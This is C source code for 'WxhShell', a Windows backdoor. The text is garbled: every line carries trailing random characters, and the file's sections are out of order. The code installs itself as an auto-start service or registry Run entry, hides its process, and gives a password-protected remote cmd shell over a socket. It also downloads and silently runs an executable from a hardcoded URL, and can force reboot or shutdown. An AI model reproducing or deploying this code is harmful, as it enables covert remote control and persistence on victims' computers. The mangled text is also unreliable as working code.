    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \& KfIh8  
    if(Boot(SHUTDOWN)) >[$j(k^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1@$n )r`  
    else { AW6"1(D  
    closesocket(wsh); L}*s_'_e^>  
    ExitThread(0); Cyn_UE  
    } `vMrlKq  
    break; _? aI/D  
    } u{Rgk:bn  
  // 获取shell NFAjh?#  
  case 's': { $,s"c(pv[,  
    CmdShell(wsh); [v,Y-}wQ)  
    closesocket(wsh); t'7A-K=k3  
    ExitThread(0); vrGx<0$  
    break; rAuv`.qEV  
  } h)~i ?bq!/  
  // 退出 H N )@sLPc  
  case 'x': { eHIsTL@Fp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <kc9KE  
    CloseIt(wsh); +nOa&d\  
    break; bb@3%r|_<  
    } [k<w'n*  
  // 离开 JSCZX:5  
  case 'q': { ;7 F'xz"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Klv~#9Si  
    closesocket(wsh); JX $vz*KF  
    WSACleanup(); Qf$3!O}G  
    exit(1); 1( nK|  
    break; oh @|*RU  
        } #mFY?Zp)  
  } S.E'fc1  
  } axpn*(yE  
,cF $_7M  
  // 提示信息 JvI6+[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Cq)/}0  
} u?a4v\  
  } ywCF{rRd  
]ssX,1#Xh  
  return; 5Mb5t;4b  
} *~b}]M700  
an<loL W  
// shell模块句柄 $bho]~  
int CmdShell(SOCKET sock) "m'roU  
{ &% infPI'  
STARTUPINFO si; #[<XN s!"  
ZeroMemory(&si,sizeof(si)); U6sPJc<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bS2)L4MQY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $I$ B8  
PROCESS_INFORMATION ProcessInfo; V`,tu `6  
char cmdline[]="cmd"; 9Q.}jV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ww^!|VVa  
  return 0; w~lxWgaY7  
} aR@s. ll  
o;^k"bo6   
// 自身启动模式 $!m (S&f  
int StartFromService(void) wpW3%r;9  
{ IMF9eS{L  
typedef struct 'xn3g;5  
{ Q"Ur*/-U  
  DWORD ExitStatus; % a9C]?  
  DWORD PebBaseAddress; ymr#OP$<S  
  DWORD AffinityMask;  Xb'UsQ  
  DWORD BasePriority; ! ,v!7I  
  ULONG UniqueProcessId; zmEg4v'I  
  ULONG InheritedFromUniqueProcessId; nUy2)CL[L  
}   PROCESS_BASIC_INFORMATION;  0+P[0  
4!,`|W1  
PROCNTQSIP NtQueryInformationProcess; c c^I9g~  
U5f<4I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6+Bccqn|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \5ZDP3I  
HZ8k%X}1  
  HANDLE             hProcess; /^jV-Z`  
  PROCESS_BASIC_INFORMATION pbi; w<54mGMOLr  
l^WPv/}?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /P}Wp[)u  
  if(NULL == hInst ) return 0; "n Zh u k  
NMCMY<o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YYzl"<)c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zo{WmV7[|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /CT g3Q"KQ  
hOTqbd}  
  if (!NtQueryInformationProcess) return 0; Y7L1`<SC  
ex}6(;7)O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]|#%`p56  
  if(!hProcess) return 0; FfET 45"l  
)K"7=TvY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EWX!:BKf  
^@a|s Sb  
  CloseHandle(hProcess); x 8v2mnk  
I"Gr<?r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m@2;9  
if(hProcess==NULL) return 0; bFt$u]Yvo  
y"o@?bny  
HMODULE hMod; Kz`g Q|S  
char procName[255]; { :~&#D  
unsigned long cbNeeded; #383W)n  
IBY(wx[5S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }.$5'VGO  
s<;kTReA  
  CloseHandle(hProcess); nsM :\t+ p  
{WYHT6Z  
if(strstr(procName,"services")) return 1; // 以服务启动 z:+fiJB_  
gWZzOH*  
  return 0; // 注册表启动 Ce%fz~*b  
} 4a6WQVS  
G&?,L:^t  
// 主模块 NZh\{!  
int StartWxhshell(LPSTR lpCmdLine) g /v"E+  
{  $w@0}5Q  
  SOCKET wsl; m0(]%Kdw  
BOOL val=TRUE; }wkZ\q[  
  int port=0; @$bEY#*C  
  struct sockaddr_in door; [ {|868  
#;WKuRv   
  if(wscfg.ws_autoins) Install(); U<"@@``+N  
+LEU|#  
port=atoi(lpCmdLine); @|hn@!YK  
f(r=S Xa*  
if(port<=0) port=wscfg.ws_port; )t#v55M  
WU" Lu  
  WSADATA data; ha -KfkPFE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =Co[pt  
q0a8=o"|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I\FBf&~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "-U`E)]w*[  
  door.sin_family = AF_INET; <hA1[S}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3gcDc~~=  
  door.sin_port = htons(port); F4|Z:e,Hr  
v.~uJ.T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j$u=7Z&E  
closesocket(wsl); [G=+f6 a  
return 1; ^jiYcg@_[  
} E#L"*vh  
$ZEwz;HNo  
  if(listen(wsl,2) == INVALID_SOCKET) { :w+2L4lGs  
closesocket(wsl); ]LE  
return 1; h jCkj(b  
} 3tZC&!x?  
  Wxhshell(wsl); \ O#6H5F  
  WSACleanup(); #F~^m  
~g_]Sskf7  
return 0; &~SPDiu.t  
!9/1_Bjv  
} ;*Z.|?3 MM  
g=gWkN <  
// 以NT服务方式启动 -3)]IA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `c )//o  
{ i7UE9Nyl*  
DWORD   status = 0; M'"@l $[QM  
  DWORD   specificError = 0xfffffff; JO^E x1c  
y_F{C 9KE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {f9jK@%Gy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E Pgn2[z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {ejJI/o0  
  serviceStatus.dwWin32ExitCode     = 0; />EH]-|  
  serviceStatus.dwServiceSpecificExitCode = 0; 1;Dug  
  serviceStatus.dwCheckPoint       = 0; *NEA(9  
  serviceStatus.dwWaitHint       = 0; Zc<fopih  
0<{zW%w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `]0E)  
  if (hServiceStatusHandle==0) return; ox2?d<dC6  
~ }g"Fe  
status = GetLastError(); WN+D}z]  
  if (status!=NO_ERROR) g+xA0qW  
{ 06dk K )`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; > kLUQ%zE@  
    serviceStatus.dwCheckPoint       = 0; "{&?t}rj+  
    serviceStatus.dwWaitHint       = 0; u0M? l  
    serviceStatus.dwWin32ExitCode     = status; GF3"$?Cw  
    serviceStatus.dwServiceSpecificExitCode = specificError; v p>,}nx4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1lJY=`8qa  
    return; M2.Pf s  
  } 3,QsB<9Is  
9\aR{e,1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QS*!3? %  
  serviceStatus.dwCheckPoint       = 0; O6[,K1,  
  serviceStatus.dwWaitHint       = 0; xMb)4cw}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 64hl0'67y  
} DAPbFY9  
%e71BZo~^s  
// 处理NT服务事件,比如:启动、停止 YjT7_|`(]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j?YZOO>X  
{ k$u/6lw]IB  
switch(fdwControl) sUki|lP  
{ "/O`#Do/  
case SERVICE_CONTROL_STOP: h)MU^aP  
  serviceStatus.dwWin32ExitCode = 0; ,hV}wK!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; heAbxs  
  serviceStatus.dwCheckPoint   = 0; te 0a6  
  serviceStatus.dwWaitHint     = 0; _,U`Iq+X  
  { 'rX!E,59  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~`<(T)rs  
  } 6;:s N8M+1  
  return; xjplJ'jB  
case SERVICE_CONTROL_PAUSE: m-M.F9R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nisW<Q`uB  
  break; %p R: .u|  
case SERVICE_CONTROL_CONTINUE: :+G1=TuXw~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BfcpB)N&.K  
  break; _I&];WM\  
case SERVICE_CONTROL_INTERROGATE: w,<nH:~  
  break; xux j  
};  bK7j"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sI7<rI.t){  
} K)z! e;r  
R`_RcHY:  
// 标准应用程序主函数 YCWt%a*I'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {NS6y\,  
{ \UD:9g"  
vp4l g1/  
// 获取操作系统版本 EEU)eltI  
OsIsNt=GetOsVer(); EqN_VT@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RP"YSnF3  
CPw=?<db  
  // 从命令行安装 m~LB0u$ac  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4l7FV<g  
zJ*|tw4  
  // 下载执行文件  u Z(vf  
if(wscfg.ws_downexe) { rfl-(_3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @-7h}2P Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); )YB @6TiD  
} LFi8@  
?D6?W6@  
if(!OsIsNt) { c%5G3j  
// 如果时win9x,隐藏进程并且设置为注册表启动  &Ow[  
HideProc(); z/B[quSio  
StartWxhshell(lpCmdLine); aQMUC6cPM@  
} K!JXsdHK  
else .5i\L OTd  
  if(StartFromService()) J<<Ph  
  // 以服务方式启动 XtJ _po  
  StartServiceCtrlDispatcher(DispatchTable); x9,X0JO  
else x8#bd{  
  // 普通方式启动 wNHvYu lI  
  StartWxhshell(lpCmdLine); epcBr_}  
wVSk.OOB  
return 0; DRo?7 _  
} "M)kV5v%  
HI` q!LPv  
3rF=u:r7c  
ifA)Ppt<`  
=========================================== 8BL ]]gT-I  
*gq~~(jH  
Z'vic#  
O>5xFz'm  
PD- <D~7  
tSP)'N<  
" n#{z"G  
Qx B0I/ {  
#include <stdio.h> |wnXBKV(  
#include <string.h> )} I>"n  
#include <windows.h> $IM}d"/9  
#include <winsock2.h> P6n9yJ$,cb  
#include <winsvc.h> pyW&`(]S  
#include <urlmon.h> BrWo/1b  
XM9}ax  
#pragma comment (lib, "Ws2_32.lib") oi@hZniP?  
#pragma comment (lib, "urlmon.lib") !9B`  
5gdsV4DH$  
#define MAX_USER   100 // 最大客户端连接数 ~^<ju6O'  
#define BUF_SOCK   200 // sock buffer 9^DXw!  
#define KEY_BUFF   255 // 输入 buffer J=%(f1X<W  
20Umjw.D  
#define REBOOT     0   // 重启 [VD)DO5  
#define SHUTDOWN   1   // 关机 {Qe 7/ln!  
VZ#@7t  
#define DEF_PORT   5000 // 监听端口 %Sgdhgk1  
tX<. Ud  
#define REG_LEN     16   // 注册表键长度 2MV!@rx  
#define SVC_LEN     80   // NT服务名长度 jkzC^aG  
l7+[Zn/v *  
// 从dll定义API nB; yS<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wfw6(L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {Q%"{h']  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8lI'[Y?3.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H=_ Wio  
p41TSALq  
// wxhshell配置信息 s.9)? < [  
struct WSCFG { sQ4~oZZ  
  int ws_port;         // 监听端口 )IFzal}o  
  char ws_passstr[REG_LEN]; // 口令 8P kw'.r  
  int ws_autoins;       // 安装标记, 1=yes 0=no $KmhG1*s  
  char ws_regname[REG_LEN]; // 注册表键名 #RJFJb/  
  char ws_svcname[REG_LEN]; // 服务名 4axc05  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ceW,A`J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F2B9Q_>P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g RX`61  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T i{~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *0*1.>Vg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,%bG]5  
Yv!r>\#0S  
}; ._6|epJ#  
>+9f{FP 9  
// default Wxhshell configuration Tlz $LI  
struct WSCFG wscfg={DEF_PORT, T6P9Icv?@7  
    "xuhuanlingzhe", ;Q1/53Y<  
    1, @T }p.  
    "Wxhshell", 8hKyp5(%l  
    "Wxhshell", Y[0  
            "WxhShell Service", 7sC8|+  
    "Wrsky Windows CmdShell Service", w 2o% {n\L  
    "Please Input Your Password: ", @TvoCDeI  
  1, QJsud{ada  
  "http://www.wrsky.com/wxhshell.exe", &s+F+8"P+  
  "Wxhshell.exe" B{In "R8  
    }; &!adW@y  
;;*'<\lP.j  
// 消息定义模块 Q>G lA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1L4-hYtCj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !oJ226>WI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jkN-(v(T  
char *msg_ws_ext="\n\rExit."; +Kw&XRA d  
char *msg_ws_end="\n\rQuit."; AUan^Om  
char *msg_ws_boot="\n\rReboot..."; % T2C0P  
char *msg_ws_poff="\n\rShutdown..."; bG'"l qn  
char *msg_ws_down="\n\rSave to "; 5bfd8C  
uB`H9  
char *msg_ws_err="\n\rErr!"; wva| TZ  
char *msg_ws_ok="\n\rOK!"; 5ree3 quh  
T!iRg=<bz  
char ExeFile[MAX_PATH]; snl$v  
int nUser = 0; voD0 u  
HANDLE handles[MAX_USER]; >h[ {_+  
int OsIsNt; A#WvN>  
SEL7,8 Hm  
SERVICE_STATUS       serviceStatus; bnm3 cR:h"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lrE|>R  
_YT9zG  
// 函数声明 1]yjhw9g  
int Install(void); K4H U 9!  
int Uninstall(void); "F$0NYb]I  
int DownloadFile(char *sURL, SOCKET wsh); WgV'T#*  
int Boot(int flag); ftw@nQNU  
void HideProc(void); #?V7kds]  
int GetOsVer(void); `H^?jX>7  
int Wxhshell(SOCKET wsl); -kv'C6gB  
void TalkWithClient(void *cs); Me.t_)  
int CmdShell(SOCKET sock); Xv5|j/<~p  
int StartFromService(void); _LOV&83O(  
int StartWxhshell(LPSTR lpCmdLine); bR0z$~  
R3[H#*gF<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AzfYw'^&9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /IkSgKJiz\  
%.zcE@7*  
// 数据结构和表定义 ^<}>]F_  
SERVICE_TABLE_ENTRY DispatchTable[] = A18&9gY  
{ PGj?`y4  
{wscfg.ws_svcname, NTServiceMain}, /F3bZ3F  
{NULL, NULL} FTA[O.tiG  
}; |.qK69  
:.K#=ROP  
// 自我安装 Yw\7`  
int Install(void) <21@jdu3n,  
{ y{`aM(&  
  char svExeFile[MAX_PATH]; Wl4T}j  
  HKEY key; c^$+=-G{fd  
  strcpy(svExeFile,ExeFile); (I) e-1  
[xrM){ItW  
// 如果是win9x系统,修改注册表设为自启动 fV\ eksBF  
if(!OsIsNt) { L, k\`9bQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gLH#UwfJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); On^jHqLaE  
  RegCloseKey(key); )]^xy&:|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _BA2^C':c{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >`@c9 m  
  RegCloseKey(key); tR;? o,T  
  return 0; s*XwU  
    } b')Lj]%;k  
  } =,UuQJ,l  
} 5z$>M3  
else { %U4w@jp  
Ga%x(1U[&  
// 如果是NT以上系统,安装为系统服务 ,z*-93H1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z ]d^%>Ef  
if (schSCManager!=0) }`SXUM_sD`  
{ UB4M=R|  
  SC_HANDLE schService = CreateService RgPY,\_9+  
  ( q,W6wM;,E  
  schSCManager, UT^-!L LB]  
  wscfg.ws_svcname, AIx,c1G]K  
  wscfg.ws_svcdisp, g#=~A&4q  
  SERVICE_ALL_ACCESS, 1e0O-aT#Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !.(%"  
  SERVICE_AUTO_START, )RQX1("O  
  SERVICE_ERROR_NORMAL, j.5;0b_L^  
  svExeFile, 9Xr@ll  
  NULL, Q]?Lg  
  NULL, :*{>=BD  
  NULL, o`!7 ~n  
  NULL, \w]c<gM K  
  NULL 1o;*`  
  ); c04"d"$ x  
  if (schService!=0) .hD 2g"  
  { +>F #{b  
  CloseServiceHandle(schService); ,sM>{NK 9R  
  CloseServiceHandle(schSCManager); ,w+}Evp])  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $p} /&  
  strcat(svExeFile,wscfg.ws_svcname); WLb *\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u_5O<UP5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xyoh B#'W  
  RegCloseKey(key); Gob;dku  
  return 0; `$X|VAS2  
    } 8@S5P$b};  
  } xSQ0]vE  
  CloseServiceHandle(schSCManager); q0}?F  
} /eoS$q  
} #2F 6}  
V<#E!MG  
return 1; " -Ie  
} PR&D67:Jy  
l<](8oc. w  
// 自我卸载 R/yOy ^<  
int Uninstall(void) t;R drk  
{ =uYz4IDB  
  HKEY key; 4-?'gN_  
A5lP%&tu(  
if(!OsIsNt) { xTnd9'Pk`:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @;-6qZ  
  RegDeleteValue(key,wscfg.ws_regname); (N etn&  
  RegCloseKey(key); %7_c|G1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bi fi02  
  RegDeleteValue(key,wscfg.ws_regname); G]Jchg <  
  RegCloseKey(key); 8\M%\]_  
  return 0; $jd>=TU|  
  } ^GXy:S$  
} .>(?c92  
} 4LCgQS6  
else { A/ eZ!"Y  
HzO6hb{jJO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -zeodv7  
if (schSCManager!=0) j15TavjGh  
{ ^UF]%qqOn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fs]9HK/@\  
  if (schService!=0) I<w`+<o(  
  { !n=@(bT*wT  
  if(DeleteService(schService)!=0) { brQkVt_)EE  
  CloseServiceHandle(schService); cI)XXb4  
  CloseServiceHandle(schSCManager); >!j= {hK  
  return 0; W~1/vJ.*l  
  } m_%1I J  
  CloseServiceHandle(schService); $RQ7rL3g{  
  } &h7q=-XU   
  CloseServiceHandle(schSCManager); (1bz.N8z  
} oCLs"L-r{  
} ?kICYtY:_b  
C?n3J  
return 1; 1MtvnPY  
} W#<&(s4  
`ag7xd!  
// 从指定url下载文件 23/!k}G"  
int DownloadFile(char *sURL, SOCKET wsh) vT<q zN  
{ 5XNIX)H  
  HRESULT hr; /`iBv8!  
char seps[]= "/"; TA47lz q  
char *token; 7'[C+/:  
char *file; tQ7DdVdix  
char myURL[MAX_PATH]; gT K5z.]  
char myFILE[MAX_PATH]; 8s4y7%,|  
(D'Z4Y  
strcpy(myURL,sURL); wz*QB6QtU  
  token=strtok(myURL,seps); 2a;vLc4  
  while(token!=NULL) i^{.Q-  
  { c<V.\y0x  
    file=token; r<;bArs-u  
  token=strtok(NULL,seps); UarU.~Uqi  
  } ^n@.  
p}KZ#"Q  
GetCurrentDirectory(MAX_PATH,myFILE); eSynw$F2N  
strcat(myFILE, "\\"); bQ-5uFe~$B  
strcat(myFILE, file); }b9#.H9  
  send(wsh,myFILE,strlen(myFILE),0); YyX/:1 sg>  
send(wsh,"...",3,0); ,L+tm>I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]E66'  
  if(hr==S_OK) e`Xy!@`_  
return 0; Na^1dn  
else 2,nKbE9*  
return 1; =*.Nt*;;  
4C(vBKl  
} NyD[9R?  
D4yJ:ATO&  
// 系统电源模块 7N^9D H{`  
int Boot(int flag) e~r%8.Wm  
{ iTU 8WWY<  
  HANDLE hToken; Xj^6ZJc  
  TOKEN_PRIVILEGES tkp; G7k0P-r,0  
$Yt29AQ  
  if(OsIsNt) { ,\;;1Kq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'Y+AU#1~H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?lv{;4BC  
    tkp.PrivilegeCount = 1; &\][:kG;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 07"dU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \5^#5_<  
if(flag==REBOOT) { lKs*KwG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v]g/ 5qI&  
  return 0; \4wM8j  
} sk~rjH]-g$  
else { l=5(5\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WYTeu "  
  return 0; XG"&\FL{T  
} %}cGAHV  
  } &0Zn21q  
  else { Ebp^-I9.d  
if(flag==REBOOT) { 8NJ(l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @<--5HbX  
  return 0; 2 [a#wz'  
} TH2D;uv  
else { .+7GecYz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :g3n [7wR  
  return 0; n.C.th >Y1  
} <ns[( Q  
} vq *N  
}cyHR1K  
return 1; #Nxk3He]8  
} 2O {@W +Mt  
@FL?,_,Y{  
// win9x进程隐藏模块 %4U;Rdq&Ud  
void HideProc(void) vm)&WEL!  
{ ?eT^gWX  
]#N2:ych  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~$>l@> xX  
  if ( hKernel != NULL ) 9^J8V]X  
  { 80cBLGG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~C< X~$y&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WO$PW`k  
    FreeLibrary(hKernel); @L^2VVWk^  
  } ^Sx 0t  
< pI2}  
return; %'j)~  
} s z/7cLo  
JwbC3 t):@  
// 获取操作系统版本 x^}kG[s  
int GetOsVer(void) i]*W t8~!  
{  (7x5  
  OSVERSIONINFO winfo; 6%NX|4_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,FX;-nP%  
  GetVersionEx(&winfo); DF'-dh</*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $b\`N2J-_  
  return 1; bL (g$Yi  
  else V'~] b~R  
  return 0; Z{`;Ys:zk  
} 0F sz  
pt;E~_  
// 客户端句柄模块 VO>A+vx3M  
int Wxhshell(SOCKET wsl) +Y,>ftN  
{ d8Jy$,/`?  
  SOCKET wsh; .pQH>;k]K  
  struct sockaddr_in client; ?:Y{c#w>  
  DWORD myID; =?T\zLN=  
?"PUw3V3lB  
  while(nUser<MAX_USER) 8 s!0Z1Roc  
{ ]y@8mb&  
  int nSize=sizeof(client); K8doYN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n'0^l?V  
  if(wsh==INVALID_SOCKET) return 1; 4)+MvKxjS  
c|u{(E58  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xf<D5 olZ  
if(handles[nUser]==0) aM?Xi6 U5  
  closesocket(wsh); g5R2a7  
else "JAYTatO7H  
  nUser++; /HgdTyR)  
  } Adgh:'h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 33|>u+  
KgX~PP>  
  return 0; *}Zd QJL  
} cBM A.'uIL  
),0_ C\  
// 关闭 socket 8I04Nx  
void CloseIt(SOCKET wsh) oAe]/j$  
{ }N(-e$88  
closesocket(wsh); E"bYl3  
nUser--; WM NcPHcj  
ExitThread(0); pj&vnX6O^  
} k_#ra7zP  
-EFtk\/  
// 客户端请求句柄 {<iIL3\mC  
void TalkWithClient(void *cs) :j9{n ,F  
{ [Rw0']i`4  
$'dJ+@  
  SOCKET wsh=(SOCKET)cs; :\L{S  
  char pwd[SVC_LEN]; VdQ}G!d  
  char cmd[KEY_BUFF]; !p4w 8  
char chr[1]; Bvzl* &?  
int i,j; *qYcb} ]  
%)8`(9J*  
  while (nUser < MAX_USER) { ,i#]&f`c;5  
Rv ?G o2  
if(wscfg.ws_passstr) { bKj#HHy\I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LEvdPG$)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G`PSb<h\oc  
  //ZeroMemory(pwd,KEY_BUFF); mm\Jf  
      i=0; T j9;".  
  while(i<SVC_LEN) { ct=|y(_  
~PP*k QZlJ  
  // 设置超时 RVy8%[Gcq  
  fd_set FdRead; v5i[jM8  
  struct timeval TimeOut; !OekN,6  
  FD_ZERO(&FdRead); TAl py$  
  FD_SET(wsh,&FdRead); &K2[>5 mG  
  TimeOut.tv_sec=8; F.ryeOJ  
  TimeOut.tv_usec=0; PcC9)x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p>h B&h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DtG><g}[]  
|1X^@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Y@(  
  pwd=chr[0]; <Rob.x3  
  if(chr[0]==0xd || chr[0]==0xa) { &e@2zfl7  
  pwd=0; mza1Q~<  
  break; r<cyxR~  
  } Lw\ANku  
  i++; "12.Bi.O"[  
    } @4Z>;  
$Ll]h</Z  
  // 如果是非法用户,关闭 socket e5maZ(.;F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n c:^)G  
} ;H /*%2  
2+ F34  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z"bgtlfb8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Y=r] fk  
KG6ki_  
while(1) { &10vdAnBRC  
Ke,UwYG2~G  
  ZeroMemory(cmd,KEY_BUFF); o)Kx:l +f  
\ F#mwl,>"  
      // 自动支持客户端 telnet标准   Q\&FuU  
  j=0; .9+"rK}u  
  while(j<KEY_BUFF) { qY`)W[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4_3Jpz*  
  cmd[j]=chr[0]; v>YdPQky  
  if(chr[0]==0xa || chr[0]==0xd) { {\j h? P|  
  cmd[j]=0; -q|K\>tgU  
  break; Fx 2 KRxk  
  } CdlE"Ye  
  j++; "{105&c\  
    } ~Tq `c  
87c7p=/0`  
  // 下载文件 ]WR+>)ERb  
  if(strstr(cmd,"http://")) { /cF 6{0XS9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {ER! 0w/  
  if(DownloadFile(cmd,wsh)) S Y>i@s+ML  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4]A2Jl E  
  else |8PUmax  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F2]v]]F!  
  } y[Zl,v7  
